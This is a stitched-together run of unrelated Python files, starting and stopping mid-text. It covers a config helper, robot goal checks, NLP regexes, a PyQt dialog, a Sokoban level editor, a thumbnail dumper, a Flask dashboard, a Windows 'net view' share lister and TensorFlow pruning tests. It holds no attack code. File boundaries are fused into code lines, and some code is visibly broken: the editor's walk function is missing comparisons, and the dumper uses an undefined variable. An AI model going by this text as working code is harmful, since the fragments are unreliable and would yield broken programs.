= 1 # agent.main_config['sample_argmax'] = True main_sl() """yaconfig - Python package to assist configuration""" __version__ = '0.3.0' __author__ = 'Dih5 <>' import json import os from collections import OrderedDict from shlex import quote def _quote_sh(s): return quote(s.replace("\n", "\\n").replace("\t", "\\t").replace("\r", "\\r").replace("\0", "\\0")) class Variable: """Abstraction for a variable in the configuration""" def __init__(self, name, type=str, default=None, help=None): """ Args: name (str): A name identifying the variable. type (type): A python type to transform the value to. default (str): A default value, always as a string. help (str): A text describing what the value does. """ self.name = name self.type = type self.default = default self.help = help def __getitem__(self, key): return self.__getattribute__(key) def get(self, key, default=None): try: return self.__getattribute__(key) except AttributeError: return default def _get_bash(self, prefix="", value=None): if self.help: text = "# %s\n" % self.help else: text = "" modified_name = prefix + self.name.upper() if self.default: text += "export %s=%s" % (modified_name, _quote_sh(self.default if value is None else value)) else: text += "# export %s=" % modified_name return text class MetaConfig: """An abstraction defining what is expected in a configuration""" def __init__(self, *variables): """ Args: *variables (Variable): Ordered sequence of variables. Their names should be unique. """ self.variables = variables self.variables = OrderedDict() for variable in variables: name = variable["name"] if name in self.variables: raise Variable("Variable %s defined multiple times" % name) self.variables[name] = variable def __getitem__(self, key): return self.variables[key] def __contains__(self, key): return key in self.variables def items(self): return self.variables.items() def prompt(self): """Prompt the user in the command line to generate configuration values""" output_values = {} for key, var in self.items(): default = var.get("default", "") help_text = var.get("help", "") print("%s%s [%s]: " % (help_text + "\n" if help_text else "", key, default if default else ""), end="\n") value = input() output_values[key] = value if value else default return output_values def generate_json_example(self, path="config.example.json", utf8=True): """Generate an example json configuration file""" values = {key: val.get("default", "") for key, val in self.items()} json_string = json.dumps(values, ensure_ascii=not utf8, indent=4) if path is not None: with open(path, "w") as f: f.write(json_string) else: return json_string def interactive_json(self, path="config.json", utf8=True): """Interactively generate a json configuration file""" values = self.prompt() json_string = json.dumps(values, ensure_ascii=not utf8, indent=4) if path is not None: with open(path, "w") as f: f.write(json_string) else: return json_string def generate_environment_example(self, path="environment.example.sh", prefix=""): """Generate an example bash configuration file""" text = "#!/bin/bash\n" text += "# Example configuration file\n\n" text += "\n\n".join(variable._get_bash(prefix=prefix) for _, variable in self.items()) text += "\n" if path is None: return text else: with open(path, "w") as f: f.write(text) def interactive_environment(self, path="environment.sh", prefix=""): values = self.prompt() text = "#!/bin/bash\n" text += "\n\n".join(variable._get_bash(prefix=prefix, value=values[var_name]) for var_name, variable in self.items()) text += "\n" if path is None: return text else: with open(path, "w") as f: f.write(text) class Config: """A configuration""" def __init__(self, metaconfig): """ Args: metaconfig (MetaConfig): The description of what is expected in this configuration """ self.metaconfig = metaconfig self.config = {} self._load_defaults() def __getitem__(self, key): return self.config[key] def __contains__(self, key): return key in self.config def get(self, key, value=None): """Get the value of the selected parameter, returning a default value if not found""" try: return self.config[key] except KeyError: return value def items(self): return self.config.items() def load_variable(self, variable, value): """ Store a value for a variable in the configuration. Args: variable: The variable name. value (str): Its value represented as a string. """ if variable in self.metaconfig: t = self.metaconfig[variable].get("type", str) if t == bytes: value = bytes(value, "utf8") elif t == bool: value = value.lower() if value == "true": value = True elif value == "false": value = False else: raise ValueError("Expected boolean value, found instead: %s" % value) else: value = t(value) self.config[variable] = value def _load_defaults(self): """Generate the default configuration""" for variable, settings in self.metaconfig.items(): value = settings.get("default") if value is not None: self.load_variable(variable, value) def load_json(self, path): """ Load the configuration from a json file Args: path (str): Path to the json file. """ file = json.load(open(path, "r")) for variable, value in file.items(): self.load_variable(variable, value) def load_environment(self, prefix=""): """ Load the configuration from environment variables Args: prefix (str): A prefix for the environment variables. """ for variable, value in self.metaconfig.items(): value = os.getenv(prefix + variable.upper()) if value is not None: self.load_variable(variable, value) import core.utils as utils import numpy as np from scipy.spatial.transform import Rotation def no_termination(observation): return False def position_close_to_goal(observation): dist_to_goal = np.linalg.norm( observation["desired_goal"]["position"] - observation["achieved_goal"]["position"] ) return dist_to_goal < 0.01 def pos_and_rot_close_to_goal(observation): rot_error_deg = _orientation_error(observation) * 180 allowance = 5.0 return position_close_to_goal(observation) and rot_error_deg < allowance def _orientation_error(observation): '''copied from reward_fns.py''' goal_rot = Rotation.from_quat(observation['desired_goal']['orientation']) actual_rot = Rotation.from_quat(observation['achieved_goal']['orientation']) error_rot = goal_rot.inv() * actual_rot return error_rot.magnitude() / np.pi class StayCloseToGoal(object): def __init__(self, success_steps=30, is_level_4=False): self.counter = 0 self.success_steps = success_steps self.goal_check = pos_and_rot_close_to_goal if is_level_4 else position_close_to_goal def __call__(self, observation): if self.goal_check(observation): self.counter += 1 if self.counter >= self.success_steps: self.counter = 0 return True else: self.counter = 0 return False stay_close_to_goal = StayCloseToGoal(is_level_4=False) stay_close_to_goal_level_4 = StayCloseToGoal(is_level_4=True) nexus/nlptools/regex.py import re from emoji import get_emoji_regexp NON_ALNUMWHITESPACE_REGEX = re.compile(r'([^\s\w])+') EMAIL_REGEX = re.compile(r'([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})') EMOJI_REGEX = get_emoji_regexp() HASHTAG_REGEX = re.compile(r'([#@]+)([A-Za-z0-9_]+)') MULTIWHITESPACE_REGEX = re.compile(r"\s+") STICKER_REGEX = re.compile( '^[\U0001F1E0-\U0001F1FF' '\U0001F300-\U0001F5FF' '\U0001F600-\U0001F64F' '\U0001F680-\U0001F6FF' '\U0001F700-\U0001F77F' '\U0001F780-\U0001F7FF' '\U0001F800-\U0001F8FF' '\U0001F900-\U0001F9FF' '\U0001FA00-\U0001FA6F' '\U0001FA70-\U0001FAFF' '\U00002702-\U000027B0]$', flags=re.UNICODE, ) URL_REGEX = re.compile(r'^(https?|ftp)?:\/\/[^\s\/$.?#]+\.[^\s]*$') HIDDEN_CHAR = '‌' TELEGRAM_LINK_REGEX = re.compile('(?:https?://)?t\\.me/(?!joinchat/)([A-Za-z0-9_]+)') DOI_REGEX = re.compile(r'(10.\d{4,9})\s?/\s?([-._;()<>/:A-Za-z0-9]+[^.?\s])') ISBN_REGEX = re.compile(r'^(?:[iI][sS][bB][nN]\:?\s*)?((97(8|9))?\-?\d{9}(\d|X))$') MD5_REGEX = re.compile(r'([A-Fa-f0-9]{32})') NID_REGEX = re.compile(r'(?:[Nn][Ii][Dd]\s?:?\s*)([0-9]+)') ONLY_DOI_REGEX = re.compile(r'^(10.\d{4,9})\s?/\s?([-._;()<>/:A-Za-z0-9]+[^.?\s])$') PUBMED_ID_REGEX = re.compile(r'(?:(?:https?://)?(?:www.)?ncbi.nlm.nih.gov/pubmed/|[Pp][Mm][Ii][Dd]\s?:?\s*)([0-9]+)') from PyQt4 import QtGui, QtCore from PyQt4.QtCore import Qt from ags_service_publisher.logging_io import setup_logger from ags_service_publisher.config_io import get_config from mxdreportdialog_ui import Ui_MXDReportDialog from helpers.pathhelpers import get_config_dir log = setup_logger(__name__) class MXDReportDialog(QtGui.QDialog, Ui_MXDReportDialog): runReport = QtCore.pyqtSignal(tuple, tuple, tuple, str) def __init__(self, parent=None): QtGui.QDialog.__init__(self, parent) self.setupUi(self) self.setWindowFlags(self.windowFlags() | Qt.WindowMaximizeButtonHint | Qt.WindowMinimizeButtonHint) self._acceptButton = self.buttonBox.button(QtGui.QDialogButtonBox.Ok) self._acceptButton.setText('Run report') self.envsTree.header().setResizeMode(0, QtGui.QHeaderView.Stretch) self.selected_configs = () self.selected_services = () user_config = get_config('userconfig', config_dir=get_config_dir()) for env_name, env in user_config['environments'].iteritems(): env_item = QtGui.QTreeWidgetItem(self.envsTree) env_item.setText(0, env_name) env_item.setText(1, 'Environment') env_item.setCheckState(0, Qt.Unchecked) self.update_accept_button_state() self.outputfileButton.clicked.connect(self.select_output_filename) self.buttonBox.accepted.connect(self.run_report_on_selected_items) self.serviceSelector.selectionChanged.connect(self.service_selector_selection_changed) self.envsTree.itemChanged.connect(self.update_accept_button_state) def service_selector_selection_changed(self, selected_configs, selected_services): self.selected_configs = selected_configs self.selected_services = selected_services self.update_accept_button_state() def update_accept_button_state(self): log.debug('Updating accept button state') included_configs, included_services, included_envs = self.get_selected_items() self._acceptButton.setEnabled( len(included_configs) > 0 and len(included_envs) > 0 ) def get_selected_items(self): log.debug('Getting selected items') included_envs = [] envs_root = self.envsTree.invisibleRootItem() for i in range(envs_root.childCount()): env_item = envs_root.child(i) if env_item.checkState(0) == Qt.Checked: env_name = str(env_item.text(0)) included_envs.append(env_name) log.debug('Selected env name: {}'.format(env_name)) return self.selected_configs, self.selected_services, included_envs def run_report_on_selected_items(self): included_configs, included_services, included_envs = map(tuple, self.get_selected_items()) self.runReport.emit(included_configs, included_services, included_envs, self.outputfileLineEdit.text() or None) def select_output_filename(self): filename = QtGui.QFileDialog.getSaveFileName( self, 'Output filename', self.outputfileLineEdit.text(), 'Comma-separated value (CSV) files (*.csv)' ) self.outputfileLineEdit.setText(filename) self.update_accept_button_state() wnov/vega from .avazu import AvazuDataset from .cifar10 import Cifar10 from .cifar100 import Cifar100 from .cityscapes import Cityscapes from .div2k import DIV2K from .div2k_unpair import Div2kUnpair from .fmnist import FashionMnist from .imagenet import Imagenet from .mnist import Mnist from .sr_datasets import Set5, Set14, BSDS100 from .auto_lane_datasets import AutoLaneDataset from .cls_ds import ClassificationDataset from .coco import CocoDataset # from .nasbench101 import Nasbench101 # from .nasbench201 import Nasbench201 build/lib/annotation_utils/old/util/utils/utils.py import numpy as np from logger import logger from ...labelme.annotation import Shape from ..checks import check_shape_type from shapely.geometry import Point from shapely.geometry.polygon import Polygon from ..common_types import BBox def polygon2segmentation(polygon: Shape): check_shape_type(shape=polygon, shape_type='polygon') segmentation = [] for point in polygon.points: segmentation.append(round(point[0], 2)) segmentation.append(round(point[1], 2)) return segmentation def polygon2bbox(polygon: Shape) -> BBox: check_shape_type(shape=polygon, shape_type='polygon') x_values = np.array(polygon.points).T[0] y_values = np.array(polygon.points).T[1] xmin = round(x_values.min(), 2) ymin = round(y_values.min(), 2) xmax = round(x_values.max(), 2) ymax = round(y_values.max(), 2) return BBox(x=xmin, y=ymin, width=xmax-xmin, height=ymax-ymin) def point_inside_polygon(point: Shape, polygon: Shape): check_shape_type(shape=point, shape_type='point') check_shape_type(shape=polygon, shape_type='polygon') shapely_point = Point(point.points[0]) shapely_polygon = Polygon(polygon.points) return shapely_point.within(shapely_polygon) def int_skeleton2str_skeleton(int_skeleton: list, keypoint_labels: list): str_skeleton = [] for int_bone in int_skeleton: bone_start = keypoint_labels[int_bone[0]-1] bone_end = keypoint_labels[int_bone[1]-1] str_bone = [bone_start, bone_end] str_skeleton.append(str_bone) return str_skeleton def labeled_points2keypoints(keypoint_labels: list, labeled_points: list, img_path: str, annotation_path: str) -> list: """ Note that keypoint entries are of the format (x, y, v), where v = 0: not labeled (in which case x=y=0) v = 1: labeled but not visible v = 2: labeled and visible """ keypoint_registry = {} for keypoint_label in keypoint_labels: keypoint_registry[keypoint_label] = None for point in labeled_points: if point.label not in keypoint_labels: logger.error(f"Point label {point.label} not found in keypoint labels.") logger.error(f"Keypoint Labels: {keypoint_labels}") logger.error(f"Please modify the following image/annotation pair:") logger.error(f"\tImage: {img_path}") logger.error(f"\tAnnotation: {annotation_path}") raise Exception if keypoint_registry[point.label] is not None: logger.error(f"{point.label} point {point.points[0]} already exists in keypoint_registry.") logger.error(f"keypoint_registry[{point.label}]: {keypoint_registry[point.label].points[0]}") logger.error(f"Please modify the following image/annotation pair:") logger.error(f"\tImage: {img_path}") logger.error(f"\tAnnotation: {annotation_path}") raise Exception keypoint_registry[point.label] = point keypoints = [] for point in keypoint_registry.values(): if point is None: entry = [0, 0, 0] # not labeled keypoints.extend(entry) elif point.hidden: entry = [point.points[0][0], point.points[0][1], 1] # labeled but not visible keypoints.extend(entry) else: entry = [point.points[0][0], point.points[0][1], 2] # labeled and visible keypoints.extend(entry) return keypoints def rectangle2bbox(rectangle: Shape) -> BBox: check_shape_type(shape=rectangle, shape_type='rectangle') p0, p1 = rectangle.points xmin = round(min(p0[0], p1[0]), 2) xmax = round(max(p0[0], p1[0]), 2) ymin = round(min(p0[1], p1[1]), 2) ymax = round(max(p0[1], p1[1]), 2) return BBox(x=xmin, y=ymin, width=xmax-xmin, height=ymax-ymin) def point_inside_rectangle(point: Shape, rectangle: Shape): check_shape_type(shape=point, shape_type='point') check_shape_type(shape=rectangle, shape_type='rectangle') px = point.points[0][0] py = point.points[0][1] bbox = rectangle2bbox(rectangle) if px >= bbox.xmin and px <= bbox.xmax and py >= bbox.ymin and py <= bbox.ymax: return True else: return Falsecommon/utility/printer.py class PrintInColor(object): """Print log with color""" RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' LIGHT_PURPLE = '\033[94m' PURPLE = '\033[95m' END = '\033[0m' @classmethod def red(cls, text): """ Print red log. :param text: Need print text. :return: None """ print(cls.RED + text + cls.END) @classmethod def green(cls, text): """ Print green log. :param text: Need print text. :return: None """ print(cls.GREEN + text + cls.END) @classmethod def yellow(cls, text): """ Print yellow log. :param text: Need print text. :return: None """ print(cls.YELLOW + text + cls.END) @classmethod def light_purple(cls, text): """ Print light purple log. :param text: Need print text. :return: None """ print(cls.LIGHT_PURPLE + text + cls.END) @classmethod def purple(cls, text): """ Print purple log. :param text: Need print text. :return: None """ print(cls.PURPLE + text + cls.END) """ This code tests the WordArbiter class. """ # Test imports. import config from word_arbiter import WordArbiter ########### # TESTING # ########### def test_weird_words(): """ Test whether some weird, but valid, words are recognised. """ arbiter = WordArbiter() weird_words = [ "antidisestablishmentarianism", "kerfuffle", "hullabaloo", "cacophony", "ragamuffin", "gobbledygook", "lackadaisical", "lollygagging" ] for word in weird_words: assert arbiter.is_a_word(word) def test_misspellings(): """ Test whether misspellings are identified. """ arbiter = WordArbiter() misspellings = [ "absense", "acceptible", "accomodate", "acknowlege", "aquit", "beatiful", "camoflage", "comitted", "daquiri", "definately", "disasterous", "embarass", "hygene", "liason", "milennium", "mispell", "percieve", "potatoe", "questionaire", "restaraunt", "seperate", "supercede", "tyrany", "withold" ] for misspelling in misspellings: assert not arbiter.is_a_word(misspelling) def test_correct_spellings(): """ Test whether spellings are identified. """ arbiter = WordArbiter() spellings = [ "absence", "acceptable", "accommodate", "acknowledge", "acquit", "beautiful", "camouflage", "committed", "daiquiri", "definitely", "disastrous", "embarrass", "hygiene", "liaison", "millennium", "misspell", "perceive", "potato", "questionnaire", "restaurant", "separate", "supersede", "tyranny", "withhold" ] for spelling in spellings: assert arbiter.is_a_word(spelling) def test_get_random_max_length_word(): """ Test that the random max length word is of the right length. """ arbiter = WordArbiter() assert len(arbiter.get_random_max_length_word()) == config.MAX_WORD_LENGTH # -*- coding: utf-8 -*- import sys import os import pathlib import blessed import re import time import numpy import datetime term = blessed.Terminal() term.hidden_cursor() tile=(' ','.','$','*','@','+','6','7','#','9','A','B','C','D','E','F','!') """ 移動関数 0:床 半角空白 1:置き場 . 2:荷物 $ 3:置かれた荷物 * 4:床の人 @ 5:置き場の人 + 8:壁 # """ XMAX=32 YMAX=24 px=0 py=0 name='' floor=numpy.zeros([XMAX,YMAX],dtype=int) def chipprint(x,y): print(term.move_xy(x*2,y)+tile[floor[x,y]]) def fullprint(): for x in range(XMAX): for y in range(YMAX): chipprint(x,y) def changestartpos(): for x in range(XMAX): for y in range(YMAX): if floor[x,y]&4!=0: if x!=px or y!=py: floor[x,y]-= floor[x,y]&4 chipprint(x,y) def putchip(key): if key==1: # 床か壁 if floor[px,py]>=8: floor[px,py]-=8 else: floor[px,py]+=8 elif key==2: #置き場 if int(floor[px,py])&1!=0: floor[px,py]-= floor[px,py]&1 else: floor[px,py]|=1 elif key==3:# 荷物 if floor[px,py]&2!=0: floor[px,py]-= floor[px,py]&2 else: floor[px,py]|=2 elif key==0:# 人 changestartpos() if floor[px,py]&4!=0: floor[px,py]-= floor[px,py]&4 else: floor[px,py]|=4 if floor[px,py]>=8: floor[px,py]=8 chipprint(px,py) def walk(x,y): global px global py print(term.move_xy(px*2+1,py)+' ') if x<0: if px+x>=0: px+=x if x>=0: if px+x=0: py+=y if y>=0: if py+y=0: for y in range(YMAX): if floor[x,y]>0: rm=x break if rm>0: break x-=1 return rm+1 def getymax(): cm=0 y=YMAX-1 while y>=0: for x in range(XMAX): if floor[x,y]>0: cm=y break if cm>0: break y-=1 return cm+1 def joined(p): if os.path.exists(p)==False: return merged=pathlib.Path(p) os.chdir(p) print(p) files=list(merged.glob('*.datlevel')) result='' filename='' for i in range(len(files)): filename=os.path.basename(str(files[i])) with open(filename,'r',encoding='utf-8') as fp: result+=fp.read()+'\n' with open('stage.cr','w',encoding='utf-8') as fp: fp.write(result) sys.exit() def main(): global name global floor jpath=os.getcwd() while input('ファイルの結合作業を行いますか？yを押すと結合を行います')=='y': jpath==input('ディレクトリを指定してください 現在>'+jpath) joined(jpath) name=input('読み取るファイルを指定してください(拡張子不要　enter・エラーで新規)') try: f=open(name+'.datlevel','r',encoding='utf-8') words = f.read() f.close() words=re.sub('[^0123456789\|]','',words) words=words.split('|') xy=words[0] xmax=int(xy[0:2]) ymax=int(xy[2:4]) tiles=words[1] for x in range(xmax): for y in range(ymax): floor[x,y]=tiles[x+y*xmax] except: pass print(term.enter_fullscreen+term.clear_eol) fullprint() print(term.move_xy(1,0)+'<') print(term.move_xy(36,7)+'CARRIER-EDITOR (c)2021-') print(term.move_xy(36,8)+'by grurqApps') print(term.move_xy(36,10)+'操作') print(term.move_xy(36,11)+'↑→↓←:移動') print(term.move_xy(36,12)+'1:壁') print(term.move_xy(36,13)+'2:置き場') print(term.move_xy(36,14)+'3:荷物') print(term.move_xy(36,16)+'ESC:終了') while 1: keypress=getch() if keypress.name=='KEY_ESCAPE': print(term.exit_fullscreen+term.move_xy(0,0)+term.clear()) print(term.move_xy(0,0)+'保存してこのアプリを終了します') save(name) getch() return 0 elif keypress.name=='KEY_UP': walk(0,-1) elif keypress.name=='KEY_RIGHT': walk(1,0) elif keypress.name=='KEY_DOWN': walk(0,1) elif keypress.name=='KEY_LEFT': walk(-1,0) elif keypress.is_sequence==False: if keypress=='1': putchip(1) elif keypress=='2': putchip(2) elif keypress=='3': putchip(3) elif keypress=='0': putchip(0) input('test') return 0 if __name__ == '__main__': main() """ # 日誌 2021-04-09 例外が発生しました: FileNotFoundError [Errno 2] No such file or directory: ']' 2021-04-08 pathlibを使ってみたがうまく行ってない。 D&Dは認識しているのでファイル操作の問題。 2021-04-06 結合モードはドラッグアンドドロップにする。 ファイル呼び出しを修復。 """0 import sys import struct import re def read_array(f, type = "I"): ret = [] length = struct.unpack(type, f.read(4))[0] for n in range(length): ret.append(struct.unpack(type, f.read(4))[0]) return ret def check_magic(f): magic = struct.unpack("I", f.read(4))[0] if magic != 0x3fcccccd: print "Error: invalid magic" sys.exit(0) def dump_thumb(f, offset, length, name): f.seek(offset, 0) dump = open(name, "wb") dump.write(f.read(length)) dump.close() def load_index(name): db_file = open(name, "rb") check_magic(db_file) db_file.seek(4, 1) db_ar1 = read_array(db_file) db_ar2 = read_array(db_file) db_ar3 = read_array(db_file) offset_size = zip(db_ar2, db_ar3) db_file.close() return offset_size def dump_thumbs(name, thumb_index): thumb_file = open(name, "rb") check_magic(thumb_file) count = 0 for offset, size in offset_size: if offset > 0 and size > 0: print offset, size dump_thumb(thumb_file, offset, size, sys.argv[2] + "_" + str(count) + ".jpg") count += 1 thumb_file.close() if __name__ == "__main__": if len(sys.argv) < 3: print "Usage: %s " % (sys.argv[0]) sys.exit(0) thumb_index = load_index(sys.argv[1]) dump_thumbs(sys.argv[2], thumb_index) from .utils import get_config, get_dict_hash, save_config """ Author: <> """ from flask import Flask, render_template, request from flask_caching import Cache from .sender import SimulatedServer server = Flask(__name__) cache = Cache(server, config={ 'CACHE_TYPE': 'filesystem', 'CACHE_DIR': 'cache-directory', 'CACHE_THRESHOLD': 100, }) class Config(dict): """Project configuration.""" def __init__(self): super().__init__() def __setattr__(self, key, value): self[key] = value def __getattr__(self, key): try: return self[key] except KeyError: # to conform with __getattr__ spec raise AttributeError(key) class Application: __instance = None def __new__(cls, *args, **kwargs): if cls.__instance is None: return super().__new__(cls, *args, **kwargs) return cls.__instance def __init__(self): self.config = Config() self.config.update({ "api": None, "title": "app", "host": "localhost", "port": 8050, "test": False, }) self._pathnames = [] # app pathnames @property def pathnames(self): return self._pathnames def run(self, applications, host='localhost', port=8050, *, test=False, mock=True): cache.clear() sender = None try: if test and mock: # start a simulated server in case of test with mocking data sender = SimulatedServer(self) for app in applications: app_port = app.config.local.split(":")[-1] sender.generators[app_port] = app.simulated_data() sender.start() # start the receivers of all the applications for app in applications: self._pathnames.append(app.config.pathname) if test: endpoint = app.config.local else: endpoint = app.config.remote app.recv(endpoint) # run the development server implemented in Flask server.run(host=host, port=port) finally: if sender is not None and sender.is_alive(): sender.terminate() application = Application() @server.route('/') def home(): pathnames = application.pathnames # TODO: replace the dirty hack pathnames.extend([""]*3) return render_template("home.html", title=application.config.title, pathname1=pathnames[0], pathname2=pathnames[1], pathname3=pathnames[2], ) def shutdown_server(): func = request.environ.get('werkzeug.server.shutdown') if func is None: raise RuntimeError('Not running with the Werkzeug Server') func() @server.route('/shutdown', methods=['GET', 'POST']) def shutdown(): shutdown_server() return 'Server shutting down...' #!/usr/bin/env python """ NET VIEW command """ # http://ss64.com/nt/net_share.html # D:\Projects\Divers\Reverse\PythonStyle\htbin\sources>net view # Server Name Remark # # ------------------------------------------------------------------------------- # \\LONW000063245 # \\LONW00050624 # \\LONW00051025 # \\LONW00051272 # \\LONW00051815 # \\LONW00051877 # \\LONW00052163 import sys import re import lib_util import lib_uris import lib_common from lib_properties import pc Usable = lib_util.UsableWindows def Main(): cgiEnv = lib_common.ScriptEnvironment() grph = cgiEnv.GetGraph() net_view_cmd = ["net", "view"] net_view_pipe = lib_common.SubProcPOpen(net_view_cmd) net_view_last_output, net_view_err = net_view_pipe.communicate() # Converts to string for Python3. asstr = net_view_last_output.decode("utf-8") lines = asstr.split('\n') seen_hyphens = False for lin in lines: if re.match(".*-------.*",lin): seen_hyphens = True continue if re.match(".*The command completed successfully.*",lin): break if not seen_hyphens: continue tst_view = re.match(r'^\\\\([A-Za-z0-9_$]+)', lin) if not tst_view: continue shr_srv = tst_view.group(1) share_srv_node = lib_uris.gUriGen.SmbServerUri(shr_srv) grph.add((lib_common.nodeMachine, pc.property_smbview, share_srv_node)) cgiEnv.OutCgiRdf() if __name__ == '__main__': Main() from pymoo.algorithms.soo.nonconvex.ga_niching import NicheGA from pymoo.optimize import minimize from pymoo.problems.single import Rastrigin from pymoo.problems.single.simple import SimpleMultiModal01 problem = SimpleMultiModal01() problem = Rastrigin(n_var=30) algorithm = NicheGA(pop_size=100) res = minimize(problem, algorithm, seed=1, verbose=True) print(res.F)moneypi/model-optimizationtensorflow_model_optimization/python/core/sparsity/keras/prune_integration_test.py # Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """End to End tests for the Pruning API.""" import tempfile from absl.testing import parameterized import numpy as np import tensorflow as tf # TODO(b/139939526): move to public API. from tensorflow.python.keras import keras_parameterized from tensorflow_model_optimization.python.core.keras import test_utils as keras_test_utils from tensorflow_model_optimization.python.core.sparsity.keras import prune from tensorflow_model_optimization.python.core.sparsity.keras import prune_registry from tensorflow_model_optimization.python.core.sparsity.keras import pruning_callbacks from tensorflow_model_optimization.python.core.sparsity.keras import pruning_schedule from tensorflow_model_optimization.python.core.sparsity.keras import pruning_wrapper from tensorflow_model_optimization.python.core.sparsity.keras import test_utils keras = tf.keras layers = keras.layers list_to_named_parameters = test_utils.list_to_named_parameters ModelCompare = keras_test_utils.ModelCompare @keras_parameterized.run_all_keras_modes class PruneIntegrationTest(tf.test.TestCase, parameterized.TestCase, ModelCompare): # Fetch all the prunable layers from the registry. _PRUNABLE_LAYERS = [ layer for layer, weights in prune_registry.PruneRegistry._LAYERS_WEIGHTS_MAP.items() if (weights and layer != tf.keras.layers.Conv3DTranspose and layer != tf.keras.layers.Conv2DTranspose) ] # Fetch all the non-prunable layers from the registry. _NON_PRUNABLE_LAYERS = [ layer for layer, weights in prune_registry.PruneRegistry._LAYERS_WEIGHTS_MAP.items() if not weights ] @staticmethod def _batch(dims, batch_size): """Adds provided batch_size to existing dims. If dims is (None, 5, 2), returns (batch_size, 5, 2) Args: dims: Dimensions batch_size: batch_size Returns: dims with batch_size added as first parameter of list. """ if dims[0] is None: dims[0] = batch_size return dims @staticmethod def _get_params_for_layer(layer_type): """Returns the arguments required to construct a layer. For a given `layer_type`, return ( [params], (input_shape) ) Args: layer_type: Type of layer, Dense, Conv2D etc. Returns: Arguments to construct layer as a 2-tuple. First value is the list of params required to construct the layer. Second value is the input_shape for the layer. """ return { layers.Conv1D: ([4, 2], (3, 6)), layers.Conv2D: ([4, (2, 2)], (4, 6, 1)), # TODO(tf-mot): fix for Conv2DTranspose on some form of eager, # with or without functions. The weights become nan (though the # mask seems fine still). # layers.Conv2DTranspose: ([2, (3, 3)], (7, 6, 3)), layers.Conv3D: ([2, (3, 3, 3)], (5, 7, 6, 3)), # TODO(tf-mot): fix for Conv3DTranspose on some form of eager, # with or without functions. The weights become nan (though the # mask seems fine still). # layers.Conv3DTranspose: ([2, (3, 3, 3)], (5, 7, 6, 3)), layers.SeparableConv1D: ([4, 3], (3, 6)), layers.SeparableConv2D: ([4, (2, 2)], (4, 6, 1)), layers.Dense: ([4], (6,)), layers.LocallyConnected1D: ([4, 2], (3, 6)), layers.LocallyConnected2D: ([4, (2, 2)], (4, 6, 1)), # Embedding has a separate test since training it is not # feasible as a single layer. layers.Embedding: (None, None), }[layer_type] def setUp(self): super(PruneIntegrationTest, self).setUp() self.params = { 'pruning_schedule': pruning_schedule.ConstantSparsity(0.5, 0, -1, 1), # TODO(pulkitb): Add tests for block sparsity. 'block_size': (1, 1), 'block_pooling_type': 'AVG' } # TODO(pulkitb): Also assert correct weights are pruned. # TODO(tfmot): this should not be verified in all the unit tests. # As long as there are a few unit tests for strip_pruning, # these checks are redundant. def _check_strip_pruning_matches_original( self, model, sparsity, input_data=None): stripped_model = prune.strip_pruning(model) test_utils.assert_model_sparsity(self, sparsity, stripped_model) if input_data is None: input_data = np.random.randn( *self._batch(model.input.get_shape().as_list(), 1)) model_result = model.predict(input_data) stripped_model_result = stripped_model.predict(input_data) np.testing.assert_almost_equal(model_result, stripped_model_result) @staticmethod def _is_pruned(model): for layer in model.layers: if isinstance(layer, pruning_wrapper.PruneLowMagnitude): return True @staticmethod def _train_model(model, epochs=1, x_train=None, y_train=None, callbacks=None): if x_train is None: x_train = np.random.rand(20, 10), if y_train is None: y_train = keras.utils.to_categorical( np.random.randint(5, size=(20, 1)), 5) if model.optimizer is None: model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) if callbacks is None: callbacks = [] if PruneIntegrationTest._is_pruned(model): callbacks = [pruning_callbacks.UpdatePruningStep()] model.fit( x_train, y_train, epochs=epochs, batch_size=20, callbacks=callbacks) def _get_pretrained_model(self): model = keras_test_utils.build_simple_dense_model() self._train_model(model, epochs=1) return model ################################################################### # Sanity checks and special cases for training with pruning. def testPrunesZeroSparsity_IsNoOp(self): model = keras_test_utils.build_simple_dense_model() model2 = keras_test_utils.build_simple_dense_model() model2.set_weights(model.get_weights()) params = self.params params['pruning_schedule'] = pruning_schedule.ConstantSparsity( target_sparsity=0, begin_step=0, frequency=1) pruned_model = prune.prune_low_magnitude(model2, **params) x_train = np.random.rand(20, 10), y_train = keras.utils.to_categorical(np.random.randint(5, size=(20, 1)), 5) self._train_model(model, epochs=1, x_train=x_train, y_train=y_train) self._train_model(pruned_model, epochs=1, x_train=x_train, y_train=y_train) self._assert_weights_different_objects(model, pruned_model) self._assert_weights_same_values(model, pruned_model) def testPruneWithHighSparsity(self): params = self.params params['pruning_schedule'] = pruning_schedule.ConstantSparsity( target_sparsity=0.99, begin_step=0, frequency=1) model = prune.prune_low_magnitude( keras_test_utils.build_simple_dense_model(), **params) self._train_model(model, epochs=1) for layer in model.layers: if isinstance(layer, pruning_wrapper.PruneLowMagnitude): for weight in layer.layer.get_prunable_weights(): self.assertEqual( 1, np.count_nonzero(tf.keras.backend.get_value(weight))) ################################################################### # Tests for training with pruning with pretrained models or weights. def testPrunePretrainedModel_RemovesOptimizer(self): model = self._get_pretrained_model() self.assertIsNotNone(model.optimizer) pruned_model = prune.prune_low_magnitude(model, **self.params) self.assertIsNone(pruned_model.optimizer) def testPrunePretrainedModel_PreservesWeightObjects(self): model = self._get_pretrained_model() pruned_model = prune.prune_low_magnitude(model, **self.params) self._assert_weights_same_objects(model, pruned_model) def testPrunePretrainedModel_SameInferenceWithoutTraining(self): model = self._get_pretrained_model() pruned_model = prune.prune_low_magnitude(model, **self.params) input_data = np.random.rand(10, 10) out = model.predict(input_data) pruned_out = pruned_model.predict(input_data) self.assertTrue((out == pruned_out).all()) def testLoadTFWeightsThenPrune_SameInferenceWithoutTraining(self): model = self._get_pretrained_model() _, tf_weights = tempfile.mkstemp('.tf') model.save_weights(tf_weights) # load weights into model then prune. same_architecture_model = keras_test_utils.build_simple_dense_model() same_architecture_model.load_weights(tf_weights) pruned_model = prune.prune_low_magnitude(same_architecture_model, **self.params) input_data = np.random.rand(10, 10) out = model.predict(input_data) pruned_out = pruned_model.predict(input_data) self.assertTrue((out == pruned_out).all()) # Test this and 